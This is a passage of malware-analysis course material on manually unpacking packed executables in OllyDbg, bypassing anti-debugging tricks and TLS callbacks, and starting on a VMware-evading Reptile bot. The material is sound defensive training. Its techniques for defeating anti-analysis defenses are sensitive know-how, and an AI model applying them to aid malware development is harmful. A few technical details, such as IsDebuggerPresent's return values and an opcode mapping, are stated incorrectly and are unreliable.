When attempting to unpack a program, you will often find yourself wanting to set a breakpoint in the proximity of the QEP. One of the ways of doing that involves setting a breakpoint on the attempt of the original program to load a library. The Windows loader will attempt to load the DLLs supporting the program's API calls before running the original program.

We can use PEiD to list the API calls that the program is likely to make. This way we will know what to look for when we attempt to set the breakpoint in OllyDbg later in the analysis.

According to PEiD, the API calls that the specimen is using are:


You might recall from the discussion earlier in the course, that the `LoadLibrary` API call may be used to load an external library file, which can be or not a malicious DLL. The `GetProcAddress` call obtains the address of an exported function in the DLL.
Now that we have gathered some general information about the specimen, it is time to look at it in OllyDbg.

But when we attempt to load the executable into OllyDbg, we will get our first surprise: an error message from OllyDbg saying that the specimen is using a "Bad or Unknown format of 32-bit executable file".

OllyDbg doesn't seem to like our sample. In fact, OllyDbg checks the file for some inconsistencies in the PE header before actually loading it. The packing algorithm may be counting on this behavior, and has purposefully modified the PE header to make itself resistant to OllyDbg-based analysis.

We will need fix this inconsistency in the PE header of our specimen.

When we click OK on the error message, we will get the standard OllyDbg window. Again, we can see that something is not right.
OllyDbg – Error Checking

• Usually OllyDbg will report in this way when if finds odd PE header, with problems on two fields:
  • NumberOfRvaAndSizes
  • LoaderFlags
• Time to check the headers...

OllyDbg has some known bugs, including a problem parsing unusual PE header entries in the following fields:

• NumberOfRvaAndSizes
• LoaderFlags

So, it is time to check the headers and fix them...
xPELister – Locating PE Inconsistencies

- Lists all PE header fields
- Highlights fields with incorrect values

Before starting with xPELister, note that some fields in the header are ignored by the Windows loader when executing the application. That’s why even with the incorrect values on some fields, Windows will still execute the program.

xPELister is a very convenient tool for examining PE header information and correcting inconsistencies. This tool gives us a comprehensive view of all header fields of a PE file, and will mark those with incorrect values, allowing you to change them to the right value.

xPELister also offers other convenient features, such as comparing two PE files, field by field and showing the differences. Also, similarly to PEiD, xPELister can show an Import Viewer window, displaying the API calls from the executable makes.

The DVD you received for this course includes a copy of xPELister. You can also download one from the following URL:
http://ap0x.jezgra.net/xPELister.rar

Keep in mind that the origin of this tool is uncertain, so you are advised to run it only in an isolated laboratory environment.
xPELister - Fixing PE Inconsistencies

- NumberOfRvaAndSizes and LoaderFlags are incorrect
- For OllyDbg, enough to fix one... Let's fix NumberOfRvaAndSizes
- The current value is 0x4BA3. The standard value for it is 0x10

xPELister shows us that both LoaderFlags and NumberOfRvaAndSizes are incorrect. Now that's one trick about OllyDbg—it will produce an error message if both of these fields identified by xPELister as incorrect.

(Note that besides the LoaderFlags and NumberOfRvaAndSizes fields, highlighted on this slide, other fields in the PE header are inconsistent as well: SizeOfCode and BaseOfCode.)

We can start by fixing NumberOfRvaAndSizes. This field refers to the number of elements another PE header structure called DataDirectory. In PE files, this value is generally set to 16 (in decimal), which is 0x10 in hexadecimal. To revise and fix the incorrect field, we need to select field, right-click and select the option "Edit Selected Item". Another easier way is just double-click it. Then, we set the value to 0x10 and click the Save button. To commit the changes, you will have to go to "File > Save Changes" on the menu.

LoaderFlags is an obsolete field. OllyDbg doesn't seem to care for its value, so we can leave it as is.

To learn more about these PE header fields, take a look at:
Brief Mention – Olly Advanced Plug-In

- Olly Advanced fixes several bugs in OllyDbg, including NumOfRva
- Also offers anti-debugging, but I prefer another plug-in for that...

It's good to know how to manually edit PE header inconsistencies, such as what we've done with the help of xPELister in the previous slides. However, it is also good to know how to take shortcuts in such situations when you are pressed for time. For this purpose, take a look at the Olly Advanced plug-in, shown on this slide. It is available on the DVD you received for this course and, like all OllyDbg plug-ins, should be copied into OllyDbg's installation directory by default.

Olly Advanced fixes several bugs in OllyDbg, which includes the problem interpreting invalid NumberOfRvaSizes issue we encountered earlier. As you can see, the plug-in fixes several other bugs that could cause serious problems during the analysis.

If you use OllyAdvanced to correct the way OllyDbg handles PE header fields, such as NumOfRvaAndSizex, you don't need to manually fix the field's value in xPELister.

OllyAdvanced also supports several anti-debugging techniques. However, I prefer another plug-in for dealing with code that attempts to detect the presence of a debugger...
OllyDbg – Introducing the HideOD Plug-in

HideOlly helps bypass many anti-debug methods

Now, we will configure another plug-in that will save some time for us. It is called HideOlly, or just HideOD.

HideOD plug-in will help us to bypass several common anti-debugging tricks used by packers. Almost all recent packers and protectors use anti-debugging techniques, from simple ones, like checking for IsDebuggerPresent, to more complex ones, depending of the protector used. We could manually disable most of them, but it may be quite complex and time-consuming, so the use of this plug-in is recommended to disable these common tricks.

There are several OllyDbg plug-ins that apply techniques to bypass many anti-debugging methods. One example of such a plug-in is Hide Debugger. We suggest you consider HideOD, since it gives you more control over what you want to customize.

To configure HideOD it go to the "Plugins" menu, select "HideOD", then click on "Option".

A copy of HideOD is included on the DVD you received for this course. You can also download it from the following URL:

OllyDbg – Configuring the HideOD Plug-in

Select all HideOD options

On the HideOlly configuration window, select all the options available and click OK to finish.

Some of the options of the HideOD plug-in are:

- Auto Run HideOD -- this option will automatically run HideOD
- SetDebugPrivilege
- OutDebugStringA
- Process32Next
- CheckRemoteDebuggerPresent
- ZwSetInformationThread
-UnhandledExceptionFilter

Most of the options will change the flags on the Windows API calls, so the packer will not detect that it is running with a Debugger.

For example, if an executable is running, and a debugger is running too, it can query the system, for the IsDebuggerPresent. It will return 0 if a debugger, like OllyDbg, is running. The HideOD plug-in, will make IsDebuggerPresent return the value 1, making the malware believe that there is no debugger running.

Another option is the ZwQueryInformationProcess. This one is used also as an anti-debugging technique, since when using it together with other calls, it will set ProcessInformation to -1 if the process is debugged, making it easy to identify a debugger. Please note that activating ZwQueryInformationProcess defense may cause unintended consequences; in this example, it prevents the executable from running properly.
Now OllyDbg shows the true Entry Point of our executable:

Note the PUSH instruction, which is different from the previously-seen RETN instruction.

Now, restart OllyDbg with our specimen, making sure we load the file we modified using xPELister. The first thing you will notice is that OllyDbg will no longer give the error message about not recognizing the format of the executable.

Another thing that you will notice is that the EP is not a return instruction anymore, as was the case when we loaded the executable prior to fixing it with xPELister. Now we see a PUSH instruction instead, which looks more like an instruction that would be located at an executable's Entry Point. This suggests that the PE header fix we implemented using xPELister worked.
Activating the HideOD Plug-in

Activate HideOD before starting the analysis

Now it is time to really start our analysis, and the first thing we will do is activate the HideOD plug-in, so it can try to bypass known packer traps.

To activate it, we just need to go to the "Plugins" menu, then select "HideOD" and click "Hide".

Note you can do some tests without activating the HideOD plug-in, but you will notice that you won't go further, since OllyDbg will hit some illegal instructions, due the packer's anti-debugging tricks.
Also, be sure to load the executable in OllyDbg before you activate the HideOD plug-in.
OllyDbg – The Fake Memory Breakpoint Trick (1)

- Press F9 to run. We hit a breakpoint.
- But we have not set this breakpoint!

When you attempt to run the bincontext.exe specimen in OllyDbg, you hit a break point. As you can see on the bottom of the screenshot of this slide, OllyDbg thinks it reached a memory on-access breakpoint executing the RETN instruction at the offset 00330000. But we've never set a breakpoint there. This is another trick employed by the packer to misdirect us. This trick is also common to other packers, such as Yoda Protector.
OllyDbg - The Fake Memory Breakpoint Trick (2)

- OllyDbg sets memory access breakpoints via segment attributes.
- Packer can set the attributes and attempt to access the segment to fake a breakpoint condition.
- Outside the debugger, an exception handler would be called, but not in OllyDbg

To set memory on-access breakpoints, OllyDbg changes attributes of the memory block containing the instruction where the analyst wants to set the breakpoint. According to a paper by Mark Vincent Yason of IBM's X-Force group, OllyDbg uses guard pages to accomplish this, which allows it to be notified when the debugged program accesses the memory block. “Guard pages are set using the PAGE_GUARD page protection modifier, if the address is being accessed is part of a guard page, STATUS_GUARD_PAGE_VIOLATION (0x80000001) will be raised.”

A packer can define an exception handler it wants to use to proceed with its flow of execution, similarly to what we saw in the beginning of analyzing windowsx86.exe earlier in this section. The packer will then set the PAGE_GUARD attribute itself, then attempt to access the guarded memory block. When this happens outside a debugger, an exception will be raised, and the packer's exception handler will be invoked to proceed with the packer's execution. If this happens in OllyDbg, the debugger will falsely believe it has reached a breakpoint, and will pause without triggering an exception.

Mark Vincent Yason's paper that discusses packers' tricks is called The Art of Unpacking. It is available at the following URL:

Bypassing the Fake Memory Breakpoint Trick

- Modify the RETN instruction to INT3
- This will manually trigger an exception and invoke the handler
- Double-click RETN, type INT3 and press Assemble

To bypass the packer's trick, we need to raise an exception to trigger the packer's exception handler. If we continue running the program by executing the RETN instruction, we will proceed down the wrong path!

A simple way to trigger an exception is to issue the INT3 instruction. We can do this by changing the RETN instruction (represented by CC) to the INT3 instruction. This can be easily done by selecting the code, right clicking it, and choosing "Binary" > "Edit", and then replacing the C3 by CC. If you prefer, you could also replace the instruction by double-clicking on the RETN instruction, entering "INT3" in the Assemble window, and clicking the Assemble button. Then click OK to continue.
Locating the LoadLibraryA API Call

- Locate the LoadLibraryA call form Kernel32.dll
- Press Ctrl+G and enter "LoadLibraryA"

Now that we have bypassed the packer's fake breakpoint trick, we can continue the analysis. Before continuing to run the program though, let's use this pause as an opportunity to look around.

When we examined the specimen in PEiD, we saw the API calls used by the executable from kernel32.dll:

- GetProcAddress
- LoadLibraryA

Remember that the specimen will need to load the DLL supporting these calls while unpacking itself to memory during runtime. By setting a breakpoint on the API call, and then "climbing out" of the subroutine that made the call, we will find ourselves close to the OEP.

We could pick any of the two API calls used by the program. Let's use LoadLibraryA.

To locate LoadLibraryA, press Ctrl+G, which is the same as the menu option "Go to Expression". When the "Enter expression to follow" window pops up, type "LoadLibraryA" and click OK.
Setting the LoadLibraryA Breakpoint

- Once OllyDbg locates "LoadLibraryA", we need to set a breakpoint on it (F2) and continue to run the executable (F9).

On the hex dump window, you will notice clearly that we hit the LoadLibraryA API:

```
00 00 00 00 4B 65 72 6F ....Kern
65 6C 33 32 2E 64 6C 6D .el32.dll
00 00 00 4C 6F 61 64 4C ..LoadL
69 62 72 61 72 79 41 00 libraryA.
00 00 47 65 74 50 72 6F ..GetProcAddress
63 41 64 6F 62 65 73 73 cAddress
```

Now that OllyDbg found the "LoadLibraryA" API call, we will set a breakpoint on this API, by pressing F2, and then continue to run, by pressing the F9 key.
Reaching the LoadLibraryA Breakpoint (1)

- OllyDbg will pause on our breakpoint.
- Remove it (F2 again) and run till user code by pressing Alt+F9.

When we hit F9 we will hit our breakpoint that we previously set on LoadLibraryA. The LoadLibraryA call is probably being invoked by the originally-packed program, as the packer's unpacking routine would have few reasons to invoke this API. As a result, we are probably at a point of the program's execution shortly before the control will be transferred to the unpacked code.

Note that we are actually inside the LoadLibraryA function within kernel32.dll. If we hit Ctrl+N and scroll down to LoadLibraryA, we can see it's exported at 7CD01D77, which is where the debugger actually set the breakpoint.

We can now remove the breakpoint by pressing F2. Now, let's see what code is making use of this API call. To do so, we will need to allow the program to reach the end of the present subroutine, then return to the calling subroutine and look around.

Press Alt+F9 to allow OllyDbg to execute the program until it reaches the beginning of user code in bintext.exe, leaving kernel32.dll.
Reaching the LoadLibraryA Breakpoint (2)

OllyDbg brought us to the location where LoadLibraryA is called. Let's find who is using it.

This slide shows the place that OllyDbg takes us when we pressed Alt+F9.

This is where the LoadLibraryA was called. We need to continue "climbing out" to the code that invoked the subroutine where we currently find ourselves. To achieve this, we will need to find the return point, as we will see on the next slide.
OllyDbg – Who is Using LoadLibraryA?

- Set a breakpoint on the next RETN instruction and press F9.
- Once we hit it, remove the breakpoint and press F7.

To determine who is using LoadLibraryA, we need to set a breakpoint on the next RETN instruction within the function, so we can see which code block is getting the result.

We now need to find the RETN instruction approximately 50 instructions below. When you visually locate it, set a breakpoint on it (pressing F2). This RETN instruction is used as a return from the function that was just executing.

Now we need to press F9 to continue to run. (Don't forget to set the RETN breakpoint before running the program.)

When we press F9, we will hit the breakpoint, and we can remove it (by pressing F2 again), and then press F7 to execute this instruction.
Since we reached the return instruction from the function that was using the LoadLibraryA API call, and we pressed F8 to step over, we need to find the instruction that calls EAX.

You'll need to scroll down a bit to see it (approximately 15 instructions below on this case).

As you may recall from the previous discussion, packers frequently call EAX or jump to EAX prior to the OEP.
The call to EAX is a few lines below. Set a breakpoint on it and F9. Then remove the breakpoint and press F7.

The CALL for the EAX register is about 14 lines below. We may need to scroll down a little to see it. Once you visually located it, set a breakpoint on the "CALL EAX" instruction (press F2).

Now we can continue to run, by pressing F9 to let the program run, and we will hit our breakpoint.

Remove the breakpoint (pressing F2 again) and press F7. This will allow the program to go to that call. Have we reached the OEP?
Searching for the EAX Jump by Locating POPAD (1)

- This doesn't seem to be the OEP
- Look for the EAX jump by locating POPAD that restores register values

When we pressed the F7, OllyDbg took us to the function that was referenced in EAX. Is this the OEP? The call to EAX you see on this slide could have been the end of our quest. You could dump the program after following through with that call, to see whether this is, indeed, the OEP. What you would find is that the program is still packed. That means we need to keep looking for another attempt to call EAX or jump to it.

Here is a useful technique for locating the jump to EAX. Prior to jumping to EAX and reaching the OEP, packers often have a series of instructions that restore register values from the stack. This is accomplished via the POPAD instruction. We can look for POPAD to locate the jump to EAX, which is likely to bring us to the OEP.

Hopefully, we reach the POPAD instruction, the sections will be unpacked and all imports will be resolved. After POPAD instruction, it will jump to OEP.
Searching for the EAX Jump by Locating POPAD (2)

Perform binary search (Ctrl+B), for a POPAD (to restore), which is "61", and a jump to EAX, which is "FF E0"

To locate where the registers are being restored, perform a binary search (CTRL+B), looking for a POPAD (to restore). The instructions will have clear values, easy to identify:

- The POPAD has the hexadecimal value of 61.
- The jump to EAX ("JMP EAX") has the hexadecimal value of FF E0.

As a result, we need to search for the hexadecimal value 61 FF E0.

Remember to check the box “Entire block” if it’s not enabled already. This will make OllyDbg cover all the memory range of the executable. Then, press OK to perform the search.

A good reference of opcode values, such as those we searched for, can be found at:
http://courses.ece.uiuc.edu/ece390/books/labmanual/inst-ref-general.html
Setting the Breakpoint on the Jump to EAX

- The second search result will send us to here
- Set the breakpoint on "JMP EAX" and hit F9 to run

The first search result is related to import redirection (see the note regarding this technique below). We will be looking for the second search result, which is actually the jump for the OEP.

To look for the second search result, you will need to press Ctrl+L, which will jump to the next search result. Once we get the second search result, shown on the screenshot on this slide, we will set a breakpoint on the “JMP EAX” instruction.

Note that OllyDbg will ask you if you are sure to set this breakpoint, since it is outside the code section. It is safe to click Yes.

Now press F9 to continue to run.

As a side note, Import Redirection, also known as Import Table Redirection, also known as API redirection, is a technique used by some packers. To understand it, we need first to understand the Import Address Table, which is a table of function pointers filled in by the Windows loader as the DLLs are loaded. The Import Redirection attempts to mess with the APIs' identification, attempting to hide the actual APIs, replacing the pointer from the call, so that the call will be redirected to another portion of code, which after some operations will usually get the real pointer.
Another Way to Find Instruction Sequence: Ctrl+S

If you wish, you can search for a sequence of assembly instructions by their names, rather than op codes. To do this, press Ctrl-S (rather than Ctrl-B). Then, enter the sequence of commands in the free-form text box, one instruction per line, as shown on this slide. Just like with binary search, in our example you’ll need to repeat the search once (Ctrl-L) to locate the second instance of this sequence, and then set a breakpoint there.
Reaching the Jump to EAX Breakpoint

Once we reach the breakpoint, execute the jump, by pressing F7

When we press the F9, we will hit the breakpoint we set on the “JMP EAX” instruction, which will lead us to the OEP. The JMP EAX instruction will get us back to original entry point defined in PE header.

This is a quite simple step and valid for many packers, such as:

- EZIP
- NEOLITE
- Pe-Pack

Now we are ready to execute the jump, by pressing F7.
And we found the Original Entry Point (OEP). We can confirm this by dumping the process and looking at the resulting file. Another confirmation that this is the OEP is that here we see the regular set of instructions that are commonly seen at a program's entry point:

```
PUSH EBP       55
MOV EBP, ESP   8B EC
PUSH -1        6A FF
```

The third instruction, in this case "PUSH -1" often changes across programs, as it depends on the high-level language in which the program was written.

That is the point we want to be. This is where we can find the original unpacked code, ready to dump to a file. The file dumped will be with no protection or obfuscation of any kind.
Now we are ready to dump the unpacked version, with our OllyDump plug-in. This can be done by going to "Plugins" > "OllyDump" > "Dump debugged process"

We are done stripping away the packer's protection!

Note that the dumped file will not always be a runnable application, since the dumping process can modify some of the PE characteristics. You may need to further manipulate the dumped file, often to fix the corrupted imports table. Even if you cannot run the file immediately, it is still useful—you will be able to look at its strings and load it into a disassembler to perform static analysis.
What We've Learned so Far

- Identifying packing mechanisms
- Identifying SEH execution flows
- Fixing PE inconsistencies
- Locating the OEP
  - Via a call/jump to EAX, API breakpoints, and POPAD
- Attempting to automate unpacking

It's time to review what we've learned so far in this section of the course. We began by outlining key techniques for determining which packer was used to protect this executable. This process involved looking at embedded strings, entry points, and analyzing the file for packer signatures using tools such as PEID.

We then examined the way packers use SEH to define execution flows in an attempt to confuse malware analysts.

We then stepped through two examples that allowed us to better understand the process for unpacking executables by hand. This involved locating the Original Entry Point within the protected executable, so we could dump it via OllyDump. The examples we examined employed PECompact2 and NTKrn1, two relatively popular packers. In the case of the PECompact-protected executable, we had to use LordPE to fix the dumped program's headers. In the case of the NTKrn1-protected executable, we had to bypass a variety of anti-debugging mechanisms to eventually arrive at the Original Entry Point.

We also took a quick look tools that attempt to automate the unpacking process. One of them was OllyScript—an OllyDbg plug-in that allows us to automate many of the tasks of unpacking executables. The other tool was Quick Unpack, which is capable of bypassing the protection offered by a large number of packers.
FOR610.4 Roadmap

- Identifying Packers
- Manual Unpacking
- Unpacking with Automation
- More Manual Unpacking

Bypassing Analysis Defenses
- Exercises

1st half of FOR610.4

... then 2nd half of FOR610.4

Let's look at a few examples that demonstrate additional self-defensive strategies that you may need to bypass.
The next topic we will cover is designed to illustrate techniques malware uses to defend itself from analysis and how to disable or work around those defenses. We will build on the techniques for malware analysis we have covered so far and use them to gain a better understanding at the potential and inner workings of a malware sample.
Malware can Employ Multiple Defensive Techniques

- During analysis you may encounter a sample that defends itself
- Many passive defenses
- Some active defenses
- Some adaptive defenses

We will build on the material we have covered so far, including code analysis and unpacking. We will also discuss some other possible defense mechanisms and isolate the ones we find in the reptile bot sample. These defenses include layers that naturally make it difficult to analyze, manipulate its environment, and even retaliate once it detects a threat.

Be sure you have a clean snapshot of your analysis machine, and you may want to make a backup copy of the Virtual Machine’s files. This is good practice when starting any new analysis.
Example: isi32.exe

- A variant of the Nadnadzzz bot
- Infection began with a USB key.
- Believed to use IRC for C&C.
- We won't analyze the whole executable in class—just look at one interesting defense.

You will find a copy of this bot in the isi32.zip file in the \Malware\day4 folder on your course DVD. It's a variant of the Nadnadzzz bot.

One of the bot's infection vectors was a USB key. An employee brought the infected USB key into the organization, the security staff found the malicious executable in the USB key's Recycle Bin folder. The specimen was analyzed by CERT.at, which discovered that it was using IRC for its command and control (C&C) channel, joining channels on several IRC servers, most of which were located in China. Each IRC server controlled, on the average, 10,000 to 20,000 bots.

There is lot's to examine in this executable. In class, we will focus on one particular defense that was built into it—TLS callback function, which often fools analysts.

Thanks to Christian Wojner from CERT.at for providing this sample and for his insights regarding the TLS callback technique!
The Specimen Terminates as Soon as We Load it in OllyDbg.

Analysts often examine the malicious program's code by starting with the instructions located at the Entry Point of the executable. The Entry Point is a field in the PE header that stores the address of the “first” instruction in the program that Windows is supposed to execute; debuggers typically take us to that instruction after loading the executable. TLS callback functions allow malware authors to execute malicious code before the debugger has a chance to pause at the traditional Entry Point. This allows malware to infect the system or disable the debugger before the analyst has a chance to look at the sample's code.

Consider the TLS callback technique employed by the Nadmadzzz bot. If you load the bot's executable into OllyDbg, you expect to have the debugger pause at its entry point. Instead, OllyDbg seems to immediately say that the process terminated. What happened? You just infected yourself!

The problem is that before OllyDbg had a chance to pause at the traditional Entry Point instruction, it executed a TLS callback function.
TLS Callback Functions Execute Before the “Entry Point.”

- Thread Local Storage (TLS) allow threads to maintain different values for a variable.
- TLS callback functions help initialize and clear TLS data objects.
- Malware can use TLS callbacks to conceal code.

According to Microsoft, Thread Local Storage (TLS) is a mechanism that allows Microsoft Windows to define data objects that are not automatic (stack) variables, yet are “local to each individual thread that runs the code. Thus, each thread can maintain a different value for a variable declared by using TLS.” This information is stored in the PE header. For details, see:

http://www.microsoft.com/whdc/system/platform/firmware/PECOFFdwn.mspx

A programmer can define TLS callback functions, which were designed mainly to initialize and clear TLS data objects. From the malware author's perspective, the beauty of TLS callbacks is that Windows executes these functions before executing code at the traditional start of the program.
To bypass the TLS callback defense to debug the program starting from its "true" beginning of the TLS callback function:

1. Configure the debugger to pause on the system entry point, instead of the traditional program entry point.
2. Identify the address of the TLS callback function, instead of the traditional program Entry Point.
3. Set the breakpoint on the TLS callback function, then run the program if you wish.

If using OllyDbg, you can tell it to pause before TLS callback by going to Debugging options > Events. By default, it's set to pause at “WinMain (if location is known).” Instead, set it to pause at “System breakpoint.” This will allow you to control the program before TLS callback functions execute.
Use IDA Pro to Locate the TLS Callback Function.

Press Ctrl+E in IDA Pro after loading the specimen.

Now you will have a chance to set the breakpoint on the TLS callback function. You need to find it first, though. Ilfak Gultamov describes a convenient way to do that with IDA Pro in his blog posting:

http://www.hexblog.com/2005/10/tls_callbacks.html

To locate the TLS callback function, load the malicious executable into IDA Pro, then press Ctrl+E to view the executable's entry points. The address of the TLS callback function should be among them. In the case of our example, that address is 410EA1.
Go to the TLS Callback Function in OllyDbg and Set a Breakpoint.

Now you know where to start debugging or otherwise analyzing the program's code. You can do this in IDA Pro. If you prefer OllyDbg, you can return to OllyDbg, and load the malicious program; OllyDbg will now pause at the "system entry point" in ntdll.dll. Press Ctrl+G and enter the address of the TLS callback function, which you located via IDA Pro; set a breakpoint there and continue the analysis.

For additional information about TLS callbacks used by malware for anti-debugging, see:

- Manually create a Tread Local Storage (TLS) Callback:
  http://www.cyberarmy.net/library/article/1653
- How to execute code during an application's initialization:
- TLS as used in Backlight: http://www.opencc.org/articles/full_view/19
- Playing tricks with the Windows PE Loader:

In another example, malware authors could also use TLS callbacks to create a UPX-packed file that runs differently depending on whether was statically uncompressed ("upx -d") or whether it dynamically uncompressed itself in memory. To see this technique in action, take a look at the following blog post by Sylvain Sarnejeanme (it's in French):

There's an even easier way to deal with TLS Callback techniques. If you use the Olly Advanced plug-in for OllyDbg, enable the "Break on TLS Callback" option in its Anti-Debug 2 tab. This way, OllyDbg will automatically pause at the TLS Callback function, if such a function is defined within the malware specimen.

If using this option, you don't need to change OllyDbg's "Make first pause" settings, as we did a few slides ago—you can keep that setting at its default value of pausing at "WinMain (if location is known)."
Example: rep.exe

- Reptile bot has several protection mechanisms
- Build on our skills of behavior and code analysis
- Practice working with unknown protections

To walk through various malware defenses, we will analyze a fairly complicated malware specimen. This rep.exe file is in the rep.zip file in the \Malware\day4 folder on your course DVD.

It has components that are mostly taken from several variants of the SDBot. There are many different protection mechanisms for us to analyze and disable to fully understand its capabilities.

There are a few different types of protection layers in this sample of the Reptile bot. Source code available on the Internet reveals a few defenses, but we will not know if this particular specimen has those defenses unless we see it actually used. Every malicious executable you encounter has the opportunity to be modified, so we cannot assume it is the same.

If the specimen we have is anything like the source code we have found, it is actually a little more complicated than the examples we have been examining in the course so far. It source code has many different C source files and header files. It stands to reason that even if the source was a perfect match that a different compiler might create different assembled code.

Our purpose in this section is to extend our tools we have used so far to deal with a paranoid sample. This will be the same type of analysis that is typically used to work with a specimen that may contain unknown threats.
Initial Reptile Bot Analysis

- File rep.exe with md5sum
edb2ade8bca0a6b82b9d160ca40db8e5
- PEiD says packed with
  SVKP 1.3x -> Pavol Cerven
- Potential OllyScript script on the Web
  - Does not appear to work
  - Probably have to unpack manually

It will be simple enough to uncompress this rep.exe sample from your course DVD just as we have with our previous samples. A quick check of our favorite tools will reveal a few items for us.

PEiD claims it is packed with "SVKP 1.3X -> Pavol Cerven" but that is most of what we know from an initial look. Looking for readable strings does not give us anything else of value, so we can search the Web for an OllyScript script to help unpack it. If we run OllyDbg, load rep.exe, and run the script, it does not appear to do anything useful, so we are left with manual unpacking.

We know that packing an executable is a fairly good defense against analysis. Just a little hiding of the original code and data can take some time to manually unpack.

We see that this specimen might be packed, and soon we will discover that it has added in some extra defenses combined with the packing. Because we cannot just simply unpack it with a single step, we need to do our best and side stepping detection until we get to what looks like an unpacked region of memory.
Initial File System Findings (Process Monitor, RegShot)

- Don't forget a VMware snapshot!
- Creates and removes a temporary file removeMe4785.bat.
- Adds \system32\SVKP.sys
- Removes Desktop\rep.exe

Prior to infecting your system, don't forget to take a snapshot of your virtual machine, to make sure you have an easy way of reverting to a pristine state during your analysis.

Even if you are unable to initially unpack the malicious executable, you can begin by performing behavioral analysis of the specimen. In this case, had Process Monitor running while the system was being infected with rep.exe. As you can see in the screen shot on this slide, one of the effects the process has on the file system is the creation of a temporary file removeMe4785.bat. The file is subsequently deleted, as it does not show in post-infection state of the system.

We also took a snapshot of the system using RegShot: one before the infection, and one after. Among miscellaneous changes, we can see that a file was added to the \system32 directory, SVKP.sys. Note that PEiD identified our specimen as being packed with the SVKP packer, so the SVKP.sys file might be an artifact of that protection mechanism.

RegShot also detected that the original file, rep.exe, which we placed on the desktop of the system prior to infection, is now gone. Note: It will remain if you don't have VMware tools installed.

Here are the relevant extracts from RegShot:

```
Files added:
-------------------
C:\WINDOWS\Prefetch\REP.EXE-2740017D.pf
C:\WINDOWS\system32\SVKP.sys

Files deleted:
-------------------
C:\Documents and Settings\Administrator\Desktop\rep.exe
```
Initial Registry Findings (Process Monitor)

- Enumerates VMware registry keys.
- Detecting the analysis sandbox?

<table>
<thead>
<tr>
<th>Time</th>
<th>Event Type</th>
<th>Event Description</th>
<th>Success</th>
</tr>
</thead>
<tbody>
<tr>
<td>132 s</td>
<td>RegOpenKey</td>
<td>HKEY_LOCAL_MACHINE</td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td>RegQueryValue</td>
<td>VMware, Inc. VMware Tools</td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td>RegOpenKey</td>
<td>HKEY_LOCAL_MACHINE</td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td>RegQueryValue</td>
<td>VMware, Inc. VMware Tools</td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td>RegOpenKey</td>
<td>HKEY_LOCAL_MACHINE</td>
<td>SUCCESS</td>
</tr>
<tr>
<td></td>
<td>RegQueryValue</td>
<td>VMware, Inc. VMware Tools</td>
<td>SUCCESS</td>
</tr>
</tbody>
</table>

Looking through the Process Monitor log with the focus on registry changes, we can upon a series of calls to VMware-related registry keys. This could be a simplistic attempt to determine whether VMware is installed on the system. We know that there are more reliable mechanisms for detecting malware. Regardless, this observation suggests that we may be able to alter the specimen's behavior if we remove the signs of VMware from the system before infecting it.

It is worth trying to fool the specimen by removing the offending registry keys, to see whether doing this will alter the behavior. It might just do the trick. (Doing this might break VMware Tools, but that is a small price to pay for such a low-effort tactic.)
Removing VMware Tools "Signature" and Re-infecting

- Revert to a pristine VMware snapshot.
- Remove VMware registry keys under HKLM\Software\VMware.
- Take a new VMware snapshot.
- Take a Regshot snapshot and re-infect.

To try this experiment, revert to a clean snapshot of the virtual machine, then remove the VMware "signature" that the specimen is looking for. In this case, it seems to be only looking for the presence of VMware registry keys, so delete the whole HKLM\Software\VMware registry branch using regedit.exe. Take a new snapshot, so that it's easier to revert to this state in follow-on analysis steps.

Now we will re-infect the system. Before doing this, take a RegShot snapshot, so that it's easier to see how the specimen will behave now. For the sake of simplicity, do not run any other analysis tools, in case their presence might spook the malware specimen.

There may be another check for VMware using something besides a registry key, so remember to keep an eye on other detection methods as you continue looking for defenses.

Once the specimen runs in the new environment, take the second RegShot snapshot, and see what has changed.
New Behavioral Findings

- Without VMware registry keys, the specimen behaves differently.
- No longer removed from the desktop.
- Copies itself to C:\WINDOWS\win32ssr.exe
- Launches Win32Sr service

When the tool no longer detects the presence of VMware, and with no analysis tools such as Process Explorer running, the specimen behaves a bit differently than before. As you can see in the RegShot snapshot, rep.exe copies itself to C:\WINDOWS\win32ssr.exe. (You can confirm it's a copy of reg.exe via an MD5 sum.) The specimen also instantiates the newly copied executable as a service named Win32Sr. In addition, the rep.exe file we placed on the desktop of the system prior to infection is no longer removed from the system.

These findings confirm that we are dealing with a specimen that possesses self-defending capabilities. We'll need to be careful during our analysis, to ensure our findings are reliable.

Here are the relevant extracts from RegShot:

```
C:\WINDOWS\Prefetch\REP.EXE-2740017D.pf
C:\WINDOWS\Prefetch\WIN32SSR.EXE-009C93FB.pf
C:\WINDOWS\system32\SVKP.sys
C:\WINDOWS\win32ssr.exe
```
Initial Analysis Results

- The specimen is packed.
- Process behaves differently if VMware registry keys exist.
- Automated unpacking (e.g., via OllyScript) wasn't helpful.
- Aware of analysis tools.

The fact that we cannot see many things with strings (and strings did not reveal the "removeME4785.bat" reference we saw), that this specimen has to be packed. Unfortunately, if we run the executable, it terminates very quickly, before we have a chance to dump it using OllyDump or LordPE.

Though there might be scripts for automatically unpacking this specimen, our attempts to locate an OllyScript that works seem to be unsuccessful. Because we cannot just simply unpack the specimen with a single step, we need to do our best and side stepping detection until we get to what looks like an unpacked region of memory.

We also observed that the specimen behaves differently, depending on whether it detects analysis tools, specifically VMware, installed or running on the infected system.

We will need to dig deeper to get past the packing and other defenses. Once we get this deep we might be able to see more defenses and ultimately the capabilities of the reptile bot.

Let's try to better understand defensive capabilities built into rep.exe…
To prepare for examining rep.exe in OllyDbg, confirm that OllyDbg is configured to ignore exceptions. This way, if malware causes an exception to occur, the debugger will automatically pass it to the exception handler. Even if you have already defined these settings earlier, confirm that they are still enabled, in case you reset the virtual machine to a snapshot that undid the configuration. To do this, open OllyDbg; go to Options > Debugging options > Exceptions.

Recall that you need to make use of all the checkboxes presented by OllyDbg on the Exceptions tab. You also need to configure OllyDbg to ignore all exceptions in the range 00000000 to FFFFFFFF.

For this exercise, don’t enable HideOD, so we can learn how to bypass some anti-debugging tricks manually. Confirm that HideOD is disabled via Plugins > HideOD > Option. If any HideOD options are enabled, please disable them.
Loading rep.exe Into OllyDbg

- Ignore the error message
- OllyDbg is still able to load the file.
- Say "No" when OllyDbg asks about analyzing compressed code.

Now, load rep.exe into OllyDbg. The debugger will present you with the error “Unable to open or read executable file.” You can ignore this error. Even though OllyDbg seems to be confused initially, it is able to load this specimen just fine.

